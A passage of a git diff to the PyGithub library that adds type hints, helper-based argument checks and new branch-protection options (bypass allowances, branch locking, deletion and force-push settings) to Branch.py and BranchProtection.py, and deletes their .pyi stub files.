require_code_owner_reviews is github.GithubObject.NotSet or isinstance( - require_code_owner_reviews, bool - ), require_code_owner_reviews - assert ( - required_approving_review_count is github.GithubObject.NotSet - or isinstance(required_approving_review_count, int) - ), (required_approving_review_count) - - post_parameters = {} - if ( - strict is not github.GithubObject.NotSet - or contexts is not github.GithubObject.NotSet - ): - if strict is github.GithubObject.NotSet: + assert is_optional(strict, bool), strict + assert is_optional_list(contexts, str), contexts + assert is_optional(enforce_admins, bool), enforce_admins + assert is_optional_list(dismissal_users, str), dismissal_users + assert is_optional_list(dismissal_teams, str), dismissal_teams + assert is_optional_list(dismissal_apps, str), dismissal_apps + assert is_optional(dismiss_stale_reviews, bool), dismiss_stale_reviews + assert is_optional(require_code_owner_reviews, bool), require_code_owner_reviews + assert is_optional(required_approving_review_count, int), required_approving_review_count + assert is_optional(required_linear_history, bool), required_linear_history + assert is_optional(allow_force_pushes, bool), allow_force_pushes + assert is_optional(required_conversation_resolution, bool), required_conversation_resolution + assert is_optional(lock_branch, bool), lock_branch + assert is_optional(allow_fork_syncing, bool), allow_fork_syncing + assert is_optional_list(users_bypass_pull_request_allowances, str), users_bypass_pull_request_allowances + assert is_optional_list(teams_bypass_pull_request_allowances, str), teams_bypass_pull_request_allowances + assert is_optional_list(apps_bypass_pull_request_allowances, str), apps_bypass_pull_request_allowances + assert is_optional(require_last_push_approval, bool), require_last_push_approval + assert is_optional(allow_deletions, bool), allow_deletions + + post_parameters: dict[str, Any] = {} + if is_defined(strict) or is_defined(contexts): + if is_undefined(strict): strict = False - if contexts is github.GithubObject.NotSet: + if is_undefined(contexts): contexts = [] post_parameters["required_status_checks"] = { "strict": strict, @@ -190,62 +204,110 @@ def edit_protection( else: post_parameters["required_status_checks"] = None - if enforce_admins is not github.GithubObject.NotSet: + if is_defined(enforce_admins): post_parameters["enforce_admins"] = enforce_admins else: post_parameters["enforce_admins"] = None if ( - dismissal_users is not github.GithubObject.NotSet - or dismissal_teams is not github.GithubObject.NotSet - or dismiss_stale_reviews is not github.GithubObject.NotSet - or require_code_owner_reviews is not github.GithubObject.NotSet - or required_approving_review_count is not github.GithubObject.NotSet + is_defined(dismissal_users) + or is_defined(dismissal_teams) + or is_defined(dismissal_apps) + or is_defined(dismiss_stale_reviews) + or is_defined(require_code_owner_reviews) + or is_defined(required_approving_review_count) + or is_defined(users_bypass_pull_request_allowances) + or is_defined(teams_bypass_pull_request_allowances) + or is_defined(apps_bypass_pull_request_allowances) + or is_defined(require_last_push_approval) ): post_parameters["required_pull_request_reviews"] = {} - if dismiss_stale_reviews is not github.GithubObject.NotSet: - post_parameters["required_pull_request_reviews"][ - "dismiss_stale_reviews" - ] = dismiss_stale_reviews - if require_code_owner_reviews is not github.GithubObject.NotSet: + if is_defined(dismiss_stale_reviews): + post_parameters["required_pull_request_reviews"]["dismiss_stale_reviews"] = dismiss_stale_reviews + if is_defined(require_code_owner_reviews): post_parameters["required_pull_request_reviews"][ "require_code_owner_reviews" ] = require_code_owner_reviews - if required_approving_review_count is not github.GithubObject.NotSet: + if is_defined(required_approving_review_count): post_parameters["required_pull_request_reviews"][ "required_approving_review_count" ] = required_approving_review_count - if dismissal_users is not github.GithubObject.NotSet: + if is_defined(require_last_push_approval): post_parameters["required_pull_request_reviews"][ - "dismissal_restrictions" - ] = {"users": dismissal_users} - if dismissal_teams is not github.GithubObject.NotSet: - if ( - "dismissal_restrictions" - not in post_parameters["required_pull_request_reviews"] - ): - post_parameters["required_pull_request_reviews"][ - "dismissal_restrictions" - ] = {} + "require_last_push_approval" + ] = require_last_push_approval + + dismissal_restrictions = {} + if is_defined(dismissal_users): + dismissal_restrictions["users"] = dismissal_users + if is_defined(dismissal_teams): + dismissal_restrictions["teams"] = dismissal_teams + if is_defined(dismissal_apps): + dismissal_restrictions["apps"] = dismissal_apps + + if dismissal_restrictions: + post_parameters["required_pull_request_reviews"]["dismissal_restrictions"] = dismissal_restrictions + + bypass_pull_request_allowances = {} + if is_defined(users_bypass_pull_request_allowances): + bypass_pull_request_allowances["users"] = users_bypass_pull_request_allowances + if is_defined(teams_bypass_pull_request_allowances): + bypass_pull_request_allowances["teams"] = teams_bypass_pull_request_allowances + if is_defined(apps_bypass_pull_request_allowances): + bypass_pull_request_allowances["apps"] = apps_bypass_pull_request_allowances + + if bypass_pull_request_allowances: post_parameters["required_pull_request_reviews"][ - "dismissal_restrictions" - ]["teams"] = dismissal_teams + "bypass_pull_request_allowances" + ] = bypass_pull_request_allowances else: post_parameters["required_pull_request_reviews"] = None if ( - user_push_restrictions is not github.GithubObject.NotSet - or team_push_restrictions is not github.GithubObject.NotSet + is_defined(user_push_restrictions) + or is_defined(team_push_restrictions) + or is_defined(app_push_restrictions) ): - if user_push_restrictions is github.GithubObject.NotSet: + if is_undefined(user_push_restrictions): user_push_restrictions = [] - if team_push_restrictions is github.GithubObject.NotSet: + if is_undefined(team_push_restrictions): team_push_restrictions = [] + if is_undefined(app_push_restrictions): + app_push_restrictions = [] post_parameters["restrictions"] = { "users": user_push_restrictions, "teams": team_push_restrictions, + "apps": app_push_restrictions, } else: post_parameters["restrictions"] = None + if is_defined(required_linear_history): + post_parameters["required_linear_history"] = required_linear_history + else: + post_parameters["required_linear_history"] = None + if is_defined(allow_force_pushes): + post_parameters["allow_force_pushes"] = allow_force_pushes + else: + post_parameters["allow_force_pushes"] = None + if is_defined(required_conversation_resolution): + post_parameters["required_conversation_resolution"] = required_conversation_resolution + else: + post_parameters["required_conversation_resolution"] = None + if is_defined(lock_branch): + post_parameters["lock_branch"] = lock_branch + else: + post_parameters["lock_branch"] = None + if is_defined(allow_fork_syncing): + post_parameters["allow_fork_syncing"] = allow_fork_syncing + else: + post_parameters["allow_fork_syncing"] = None + if is_defined(block_creations): + post_parameters["block_creations"] = block_creations + else: + post_parameters["block_creations"] = None + if is_defined(allow_deletions): + post_parameters["allow_deletions"] = allow_deletions + else: + post_parameters["allow_deletions"] = None headers, data = self._requester.requestJsonAndCheck( "PUT", @@ -254,7 +316,9 @@ def edit_protection( input=post_parameters, ) - def remove_protection(self): + return github.BranchProtection.BranchProtection(self._requester, headers, data, completed=True) + + def remove_protection(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection `_ """ @@ -263,43 +327,35 @@ def remove_protection(self): self.protection_url, ) - def get_required_status_checks(self): + def get_required_status_checks(self) -> RequiredStatusChecks: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/required_status_checks `_ :rtype: :class:`github.RequiredStatusChecks.RequiredStatusChecks` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.protection_url}/required_status_checks" - ) - return github.RequiredStatusChecks.RequiredStatusChecks( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.protection_url}/required_status_checks") + return github.RequiredStatusChecks.RequiredStatusChecks(self._requester, headers, data, completed=True) def edit_required_status_checks( - self, strict=github.GithubObject.NotSet, contexts=github.GithubObject.NotSet - ): + self, + strict: Opt[bool] = NotSet, + contexts: Opt[list[str]] = NotSet, + ) -> RequiredStatusChecks: """ :calls: `PATCH /repos/{owner}/{repo}/branches/{branch}/protection/required_status_checks `_ - :strict: bool - :contexts: list of strings - """ - assert strict is github.GithubObject.NotSet or isinstance(strict, bool), strict - assert contexts is github.GithubObject.NotSet or all( - isinstance(element, str) for element in contexts - ), contexts - - post_parameters = {} - if strict is not github.GithubObject.NotSet: - post_parameters["strict"] = strict - if contexts is not github.GithubObject.NotSet: - post_parameters["contexts"] = contexts + """ + assert is_optional(strict, bool), strict + assert is_optional_list(contexts, str), contexts + + post_parameters: dict[str, Any] = NotSet.remove_unset_items({"strict": strict, "contexts": contexts}) headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.protection_url}/required_status_checks", input=post_parameters, ) - def remove_required_status_checks(self): + return github.RequiredStatusChecks.RequiredStatusChecks(self._requester, headers, data, completed=True) + + def remove_required_status_checks(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/required_status_checks `_ """ @@ -308,10 +364,9 @@ def remove_required_status_checks(self): f"{self.protection_url}/required_status_checks", ) - def get_required_pull_request_reviews(self): + def get_required_pull_request_reviews(self) -> RequiredPullRequestReviews: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/required_pull_request_reviews `_ - :rtype: :class:`github.RequiredPullRequestReviews.RequiredPullRequestReviews` """ headers, data = self._requester.requestJsonAndCheck( "GET", @@ -324,52 +379,40 @@ def get_required_pull_request_reviews(self): def edit_required_pull_request_reviews( self, - dismissal_users=github.GithubObject.NotSet, - dismissal_teams=github.GithubObject.NotSet, - dismiss_stale_reviews=github.GithubObject.NotSet, - require_code_owner_reviews=github.GithubObject.NotSet, - required_approving_review_count=github.GithubObject.NotSet, - ): + dismissal_users: Opt[list[str]] = NotSet, + dismissal_teams: Opt[list[str]] = NotSet, + dismissal_apps: Opt[list[str]] = NotSet, + dismiss_stale_reviews: Opt[bool] = NotSet, + require_code_owner_reviews: Opt[bool] = NotSet, + required_approving_review_count: Opt[int] = NotSet, + require_last_push_approval: Opt[bool] = NotSet, + ) -> RequiredStatusChecks: """ :calls: `PATCH /repos/{owner}/{repo}/branches/{branch}/protection/required_pull_request_reviews `_ - :dismissal_users: list of strings - :dismissal_teams: list of strings - :dismiss_stale_reviews: bool - :require_code_owner_reviews: bool - :required_approving_review_count: int - """ - assert dismissal_users is github.GithubObject.NotSet or all( - isinstance(element, str) for element in dismissal_users - ), dismissal_users - assert dismissal_teams is github.GithubObject.NotSet or all( - isinstance(element, str) for element in dismissal_teams - ), dismissal_teams - assert dismiss_stale_reviews is github.GithubObject.NotSet or isinstance( - dismiss_stale_reviews, bool - ), dismiss_stale_reviews - assert require_code_owner_reviews is github.GithubObject.NotSet or isinstance( - require_code_owner_reviews, bool - ), require_code_owner_reviews - assert ( - required_approving_review_count is github.GithubObject.NotSet - or isinstance(required_approving_review_count, int) - ), (required_approving_review_count) - - post_parameters = {} - if dismissal_users is not github.GithubObject.NotSet: - post_parameters["dismissal_restrictions"] = {"users": dismissal_users} - if dismissal_teams is not github.GithubObject.NotSet: - if "dismissal_restrictions" not in post_parameters: - post_parameters["dismissal_restrictions"] = {} - post_parameters["dismissal_restrictions"]["teams"] = dismissal_teams - if dismiss_stale_reviews is not github.GithubObject.NotSet: - post_parameters["dismiss_stale_reviews"] = dismiss_stale_reviews - if require_code_owner_reviews is not github.GithubObject.NotSet: - post_parameters["require_code_owner_reviews"] = require_code_owner_reviews - if required_approving_review_count is not github.GithubObject.NotSet: - post_parameters[ - "required_approving_review_count" - ] = required_approving_review_count + """ + assert is_optional_list(dismissal_users, str), dismissal_users + assert is_optional_list(dismissal_teams, str), dismissal_teams + assert is_optional(dismiss_stale_reviews, bool), dismiss_stale_reviews + assert is_optional(require_code_owner_reviews, bool), require_code_owner_reviews + assert is_optional(required_approving_review_count, int), required_approving_review_count + assert is_optional(require_last_push_approval, bool), require_last_push_approval + + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "dismiss_stale_reviews": dismiss_stale_reviews, + "require_code_owner_reviews": require_code_owner_reviews, + "required_approving_review_count": required_approving_review_count, + "require_last_push_approval": require_last_push_approval, + } + ) + + dismissal_restrictions: dict[str, Any] = NotSet.remove_unset_items( + {"users": dismissal_users, "teams": dismissal_teams, "apps": dismissal_apps} + ) + + if dismissal_restrictions: + post_parameters["dismissal_restrictions"] = dismissal_restrictions + headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.protection_url}/required_pull_request_reviews", @@ -377,7 +420,9 @@ def edit_required_pull_request_reviews( input=post_parameters, ) - def remove_required_pull_request_reviews(self): + return github.RequiredStatusChecks.RequiredStatusChecks(self._requester, headers, data, completed=True) + + def remove_required_pull_request_reviews(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/required_pull_request_reviews `_ """ @@ -386,36 +431,28 @@ def remove_required_pull_request_reviews(self): f"{self.protection_url}/required_pull_request_reviews", ) - def get_admin_enforcement(self): + def get_admin_enforcement(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/enforce_admins `_ - :rtype: bool """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.protection_url}/enforce_admins" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.protection_url}/enforce_admins") return data["enabled"] - def set_admin_enforcement(self): + def set_admin_enforcement(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/enforce_admins `_ """ - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.protection_url}/enforce_admins" - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.protection_url}/enforce_admins") - def remove_admin_enforcement(self): + def remove_admin_enforcement(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/enforce_admins `_ """ - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.protection_url}/enforce_admins" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.protection_url}/enforce_admins") - def get_user_push_restrictions(self): + def get_user_push_restrictions(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ return github.PaginatedList.PaginatedList( github.NamedUser.NamedUser, @@ -424,10 +461,9 @@ def get_user_push_restrictions(self): None, ) - def get_team_push_restrictions(self): + def get_team_push_restrictions(self) -> PaginatedList[Team]: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` """ return github.PaginatedList.PaginatedList( github.Team.Team, @@ -436,7 +472,7 @@ def get_team_push_restrictions(self): None, ) - def add_user_push_restrictions(self, *users): + def add_user_push_restrictions(self, *users: str) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ :users: list of strings (user names) @@ -447,7 +483,7 @@ def add_user_push_restrictions(self, *users): "POST", f"{self.protection_url}/restrictions/users", input=users ) - def replace_user_push_restrictions(self, *users): + def replace_user_push_restrictions(self, *users: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ :users: list of strings (user names) @@ -458,7 +494,7 @@ def replace_user_push_restrictions(self, *users): "PUT", f"{self.protection_url}/restrictions/users", input=users ) - def remove_user_push_restrictions(self, *users): + def remove_user_push_restrictions(self, *users: str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ :users: list of strings (user names) @@ -469,7 +505,7 @@ def remove_user_push_restrictions(self, *users): "DELETE", f"{self.protection_url}/restrictions/users", input=users ) - def add_team_push_restrictions(self, *teams): + def add_team_push_restrictions(self, *teams: str) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ :teams: list of strings (team slugs) @@ -480,7 +516,7 @@ def add_team_push_restrictions(self, *teams): "POST", f"{self.protection_url}/restrictions/teams", input=teams ) - def replace_team_push_restrictions(self, *teams): + def replace_team_push_restrictions(self, *teams: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ :teams: list of strings (team slugs) @@ -491,7 +527,7 @@ def replace_team_push_restrictions(self, *teams): "PUT", f"{self.protection_url}/restrictions/teams", input=teams ) - def remove_team_push_restrictions(self, *teams): + def remove_team_push_restrictions(self, *teams: str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ :teams: list of strings (team slugs) @@ -502,17 +538,15 @@ def remove_team_push_restrictions(self, *teams): "DELETE", f"{self.protection_url}/restrictions/teams", input=teams ) - def remove_push_restrictions(self): + def remove_push_restrictions(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/restrictions `_ """ - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.protection_url}/restrictions" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.protection_url}/restrictions") - def get_required_signatures(self): + def get_required_signatures(self) -> bool: """ - :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures ` + :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures `_ """ headers, data = self._requester.requestJsonAndCheck( "GET", @@ -521,9 +555,9 @@ def get_required_signatures(self): ) return data["enabled"] - def add_required_signatures(self): + def add_required_signatures(self) -> None: """ - :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures ` + :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures `_ """ headers, data = self._requester.requestJsonAndCheck( "POST", @@ -531,9 +565,9 @@ def add_required_signatures(self): headers={"Accept": Consts.signaturesProtectedBranchesPreview}, ) - def remove_required_signatures(self): + def remove_required_signatures(self) -> None: """ - :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures ` + :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", @@ -541,12 +575,31 @@ def remove_required_signatures(self): headers={"Accept": Consts.signaturesProtectedBranchesPreview}, ) + def get_allow_deletions(self) -> bool: + """ + :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/allow_deletions `_ + """ + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.protection_url}/allow_deletions") + return data["enabled"] + + def set_allow_deletions(self) -> None: + """ + :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/allow_deletions `_ + """ + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.protection_url}/allow_deletions") + + def remove_allow_deletions(self) -> None: + """ + :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/allow_deletions `_ + """ + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.protection_url}/allow_deletions") + def get_check_runs( self, - check_name=github.GithubObject.NotSet, - status=github.GithubObject.NotSet, - filter=github.GithubObject.NotSet, - ): + check_name: Opt[str] = github.GithubObject.NotSet, + status: Opt[str] = github.GithubObject.NotSet, + filter: Opt[str] = github.GithubObject.NotSet, + ) -> PaginatedList[CheckRun]: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha}/check-runs `_ :param check_name: string @@ -554,9 +607,7 @@ def get_check_runs( :param filter: string :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CheckRun.CheckRun` """ - assert check_name is github.GithubObject.NotSet or isinstance( - check_name, str - ), check_name + assert check_name is github.GithubObject.NotSet or isinstance(check_name, str), check_name assert status is github.GithubObject.NotSet or isinstance(status, str), status assert filter is github.GithubObject.NotSet or isinstance(filter, str), filter url_parameters = dict() @@ -574,23 +625,19 @@ def get_check_runs( list_item="check_runs", ) - def get_check_suites( - self, app_id=github.GithubObject.NotSet, check_name=github.GithubObject.NotSet - ): + def get_check_suites(self, app_id: Opt[int] = NotSet, check_name: Opt[str] = NotSet) -> PaginatedList[CheckSuite]: """ :class: `GET /repos/{owner}/{repo}/commits/{ref}/check-suites `_ :param app_id: int :param check_name: string :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CheckSuite.CheckSuite` """ - assert app_id is github.GithubObject.NotSet or isinstance(app_id, int), app_id - assert check_name is github.GithubObject.NotSet or isinstance( - check_name, str - ), check_name - parameters = dict() - if app_id is not github.GithubObject.NotSet: + assert app_id is NotSet or isinstance(app_id, int), app_id + assert check_name is NotSet or isinstance(check_name, str), check_name + parameters: dict[str, Any] = dict() + if app_id is not NotSet: parameters["app_id"] = app_id - if check_name is not github.GithubObject.NotSet: + if check_name is not NotSet: parameters["check_name"] = check_name return github.PaginatedList.PaginatedList( github.CheckSuite.CheckSuite, diff --git a/github/Branch.pyi b/github/Branch.pyi deleted file mode 100644 index 6b77e998c1..0000000000 --- a/github/Branch.pyi +++ /dev/null @@ -1,77 +0,0 @@ -from typing import Any, Dict, List, Union - -from github.BranchProtection import BranchProtection -from github.CheckRun import CheckRun -from github.CheckSuite import CheckSuite -from github.Commit import Commit -from github.GithubObject import NonCompletableGithubObject, _NotSetType, NotSet -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.RequiredPullRequestReviews import RequiredPullRequestReviews -from github.RequiredStatusChecks import RequiredStatusChecks -from github.Team import Team - -class Branch(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def add_required_signatures(self) -> None: ... - @property - def commit(self) -> Commit: ... - def edit_protection( - self, - strict: Union[bool, _NotSetType] = ..., - contexts: Union[List[str], _NotSetType] = ..., - enforce_admins: Union[bool, _NotSetType] = ..., - dismissal_users: Union[_NotSetType, List[str]] = ..., - dismissal_teams: Union[_NotSetType, List[str]] = ..., - dismiss_stale_reviews: Union[bool, _NotSetType] = ..., - require_code_owner_reviews: Union[bool, _NotSetType] = ..., - required_approving_review_count: Union[int, _NotSetType] = ..., - user_push_restrictions: Union[_NotSetType, List[str]] = ..., - team_push_restrictions: Union[_NotSetType, List[str]] = ..., - ) -> None: ... - def edit_required_pull_request_reviews( - self, - dismissal_users: Union[_NotSetType, List[str]] = ..., - dismissal_teams: Union[_NotSetType, List[str]] = ..., - dismiss_stale_reviews: Union[bool, _NotSetType] = ..., - require_code_owner_reviews: Union[_NotSetType, bool] = ..., - required_approving_review_count: Union[int, _NotSetType] = ..., - ) -> None: ... - def edit_required_status_checks( - self, - strict: Union[_NotSetType, bool] = ..., - contexts: Union[List[str], _NotSetType] = ..., - ) -> None: ... - def get_admin_enforcement(self) -> bool: ... - def get_protection(self) -> BranchProtection: ... - def get_required_pull_request_reviews(self) -> RequiredPullRequestReviews: ... - def get_required_signatures(self) -> bool: ... - def get_required_status_checks(self) -> RequiredStatusChecks: ... - def get_team_push_restrictions(self) -> PaginatedList[Team]: ... - def get_user_push_restrictions(self) -> PaginatedList[NamedUser]: ... - @property - def name(self) -> str: ... - @property - def protected(self) -> bool: ... - @property - def protection_url(self) -> str: ... - def remove_admin_enforcement(self) -> None: ... - def remove_protection(self) -> None: ... - def remove_push_restrictions(self) -> None: ... - def remove_required_pull_request_reviews(self) -> None: ... - def remove_required_signatures(self) -> None: ... - def remove_required_status_checks(self) -> None: ... - def set_admin_enforcement(self) -> None: ... - def get_check_suites( - self, - app_id: Union[_NotSetType, int]=NotSet, - check_name: Union[_NotSetType, str]=NotSet, - ) -> PaginatedList[CheckSuite]: ... - def get_check_runs( - self, - check_name: Union[_NotSetType, str] = ..., - status: Union[_NotSetType, str] = ..., - filter: Union[_NotSetType, str] = ..., - ) -> PaginatedList[CheckRun]: ... diff --git a/github/BranchProtection.py b/github/BranchProtection.py index 03cc3984ee..1cae51d90a 100644 --- a/github/BranchProtection.py +++ b/github/BranchProtection.py @@ -1,6 +1,14 @@ ############################ Copyrights and license ############################ # # # Copyright 2018 Steve Kowalik # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,11 +28,23 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.GithubObject import github.NamedUser import github.RequiredPullRequestReviews import github.RequiredStatusChecks import github.Team +from github.GithubObject import Attribute, NotSet, Opt, is_defined +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.NamedUser import NamedUser + from github.RequiredPullRequestReviews import RequiredPullRequestReviews + from github.RequiredStatusChecks import RequiredStatusChecks + from github.Team import Team class BranchProtection(github.GithubObject.CompletableGithubObject): @@ -32,73 +52,101 @@ class BranchProtection(github.GithubObject.CompletableGithubObject): This class represents Branch Protection. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-branch-protection """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__({"url": self._url.value}) + def _initAttributes(self) -> None: + self._url: Attribute[str] = NotSet + self._allow_deletions: Attribute[bool] = NotSet + self._allow_force_pushes: Attribute[bool] = NotSet + self._allow_fork_syncing: Attribute[bool] = NotSet + self._lock_branch: Attribute[bool] = NotSet + self._required_conversation_resolution: Attribute[bool] = NotSet + self._required_status_checks: Attribute[RequiredStatusChecks] = NotSet + self._enforce_admins: Attribute[bool] = NotSet + self._required_linear_history: Attribute[bool] = github.GithubObject.NotSet + self._required_pull_request_reviews: Attribute[RequiredPullRequestReviews] = NotSet + self._user_push_restrictions: Opt[str] = NotSet + self._team_push_restrictions: Opt[str] = NotSet + + @property + def allow_deletions(self) -> bool: + self._completeIfNotSet(self._allow_deletions) + return self._allow_deletions.value + + @property + def allow_force_pushes(self) -> bool: + self._completeIfNotSet(self._allow_force_pushes) + return self._allow_force_pushes.value + + @property + def allow_fork_syncing(self) -> bool: + self._completeIfNotSet(self._allow_fork_syncing) + return self._allow_fork_syncing.value + @property - def url(self): - """ - :type: string - """ + def lock_branch(self) -> bool: + self._completeIfNotSet(self._lock_branch) + return self._lock_branch.value + + @property + def required_conversation_resolution(self) -> bool: + self._completeIfNotSet(self._required_conversation_resolution) + return self._required_conversation_resolution.value + + @property + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def required_status_checks(self): - """ - :type: :class:`github.RequiredStatusChecks.RequiredStatusChecks` - """ + def required_status_checks(self) -> RequiredStatusChecks: self._completeIfNotSet(self._required_status_checks) return self._required_status_checks.value @property - def enforce_admins(self): - """ - :type: bool - """ + def enforce_admins(self) -> bool: self._completeIfNotSet(self._enforce_admins) return self._enforce_admins.value @property - def required_pull_request_reviews(self): - """ - :type: :class:`github.RequiredPullRequestReviews.RequiredPullRequestReviews` - """ + def required_linear_history(self) -> bool: + self._completeIfNotSet(self._required_linear_history) + return self._required_linear_history.value + + @property + def required_pull_request_reviews(self) -> RequiredPullRequestReviews: self._completeIfNotSet(self._required_pull_request_reviews) return self._required_pull_request_reviews.value - def get_user_push_restrictions(self): - """ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` - """ - if self._user_push_restrictions is github.GithubObject.NotSet: + def get_user_push_restrictions(self) -> PaginatedList[NamedUser] | None: + if not is_defined(self._user_push_restrictions): return None - return github.PaginatedList.PaginatedList( + return PaginatedList( github.NamedUser.NamedUser, self._requester, self._user_push_restrictions, None, ) - def get_team_push_restrictions(self): - """ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` - """ - if self._team_push_restrictions is github.GithubObject.NotSet: + def get_team_push_restrictions(self) -> PaginatedList[Team] | None: + if not is_defined(self._team_push_restrictions): return None - return github.PaginatedList.PaginatedList( - github.Team.Team, self._requester, self._team_push_restrictions, None - ) - - def _initAttributes(self): - self._url = github.GithubObject.NotSet - self._required_status_checks = github.GithubObject.NotSet - self._enforce_admins = github.GithubObject.NotSet - self._required_pull_request_reviews = github.GithubObject.NotSet - self._user_push_restrictions = github.GithubObject.NotSet - self._team_push_restrictions = github.GithubObject.NotSet + return github.PaginatedList.PaginatedList(github.Team.Team, self._requester, self._team_push_restrictions, None) - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "allow_deletions" in attributes: # pragma no branch + self._allow_deletions = self._makeBoolAttribute(attributes["allow_deletions"]["enabled"]) + if "allow_force_pushes" in attributes: # pragma no branch + self._allow_force_pushes = self._makeBoolAttribute(attributes["allow_force_pushes"]["enabled"]) + if "allow_fork_syncing" in attributes: # pragma no branch + self._allow_fork_syncing = self._makeBoolAttribute(attributes["allow_fork_syncing"]["enabled"]) + if "lock_branch" in attributes: # pragma no branch + self._lock_branch = self._makeBoolAttribute(attributes["lock_branch"]["enabled"]) + if "required_conversation_resolution" in attributes: # pragma no branch + self._required_conversation_resolution = self._makeBoolAttribute( + attributes["required_conversation_resolution"]["enabled"] + ) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "required_status_checks" in attributes: # pragma no branch @@ -107,14 +155,14 @@ def _useAttributes(self, attributes): attributes["required_status_checks"], ) if "enforce_admins" in attributes: # pragma no branch - self._enforce_admins = self._makeBoolAttribute( - attributes["enforce_admins"]["enabled"] - ) + self._enforce_admins = self._makeBoolAttribute(attributes["enforce_admins"]["enabled"]) if "required_pull_request_reviews" in attributes: # pragma no branch self._required_pull_request_reviews = self._makeClassAttribute( github.RequiredPullRequestReviews.RequiredPullRequestReviews, attributes["required_pull_request_reviews"], ) + if "required_linear_history" in attributes: # pragma no branch + self._required_linear_history = self._makeBoolAttribute(attributes["required_linear_history"]["enabled"]) if "restrictions" in attributes: # pragma no branch self._user_push_restrictions = attributes["restrictions"]["users_url"] self._team_push_restrictions = attributes["restrictions"]["teams_url"] diff --git a/github/BranchProtection.pyi b/github/BranchProtection.pyi deleted file mode 100644 index 5563554c42..0000000000 --- a/github/BranchProtection.pyi +++ /dev/null @@ -1,23 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.RequiredPullRequestReviews import RequiredPullRequestReviews -from github.RequiredStatusChecks import RequiredStatusChecks -from github.Team import Team - -class BranchProtection(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def enforce_admins(self) -> bool: ... - def get_team_push_restrictions(self) -> PaginatedList[NamedUser]: ... 